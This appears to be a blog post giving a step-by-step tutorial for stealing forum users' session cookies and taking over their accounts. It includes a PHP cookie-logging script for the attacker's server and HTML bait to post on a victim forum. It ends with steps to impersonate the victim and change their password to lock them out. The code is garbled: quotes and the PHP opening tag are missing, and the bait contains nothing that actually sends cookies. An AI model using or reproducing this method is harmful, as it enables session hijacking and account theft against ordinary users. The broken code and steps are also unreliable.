How
to hack an account with cookie logger:
A
CookieLogger is a Script that is Used to Steal anybodys Cookies and stores it
into a Log File from where you can read the Cookies of the Victim.
Today
I am going to show How to make your own Cookie Logger
Hope
you will enjoy Reading it...
STEP 1: Copy & Save the notepad file from
below and Rename it as Fun.gif
<a
href="www.yoursite.com/fun.gif"><img style="cursor:
pointer; width: 116px; height: 116px;" src="nesite.com/jpg"
/></a>
STEP 2: Copy the Following Script into
a Notepad File and Save the file as cookielogger.php
$filename = logfile.txt;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, a))
{
echo Temporary Server Error,Sorry for the
inconvenience.;
exit;
}
else
{
if (fwrite($handle, rn .
$_GET["cookie"]) === FALSE)
{
echo Temporary Server Error,Sorry for the
inconvenience.;
exit;
}
}
echo Temporary Server Error,Sorry for the
inconvenience.;
fclose($handle);
exit;
}
echo Temporary Server Error,Sorry for the
inconvenience.;
exit;
?>
STEP 3: Create a new Notepad File and Save it as
logfile.txt
STEP
4: Upload this file to your server
cookielogger.php
- > http://www.yoursite.com/cookielogger.php
logfile.txt-
> http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif
- > http://www.yoursite.com/fun.gif
If
you dont have any Website then you can use the following Website to get a Free
Website which has php support:
lhttp://adf.ly/QjU2
STEP 5: Go to
the victim forum and insert this code in the signature or a post :
<a
href="www.yoursite.com/fun.gif"><img style="cursor:
pointer; width: 116px; height: 116px;" src="nesite.com/jpg"
/></a>
STEP 6: When
the victim see the post he view the image u uploaded but when he click the
image he has a Temporary Error and you will get his cookie in log.txt . The
Cookie Would Look as Follows:
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D;
phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9
STEP 7: To get the access to the
Victims Account you need to replace your cookies with the Victims Cookie. You
can use a Cookie Editor for this. The string before = is the name of the cookie
and the string after = is its value. So Change the values of the cookies in the
cookie Editor.
STEP 8: Goto the Website whose Account
you have just hacked and You will find that you are logged in as the Victim and
now you can change the victims account information.
NOTE:
Make
Sure that from Step 6 to 8 the Victim should be Online because you are actually
Hijacking the Victims Session So if the Victim clicks on Logout you will also
Logout automatically but once you have changed the password then you can again
login with the new password and the victim would not be able to login.
click here to Follow
the admin: Rakeshsharma
0 comments:
Post a Comment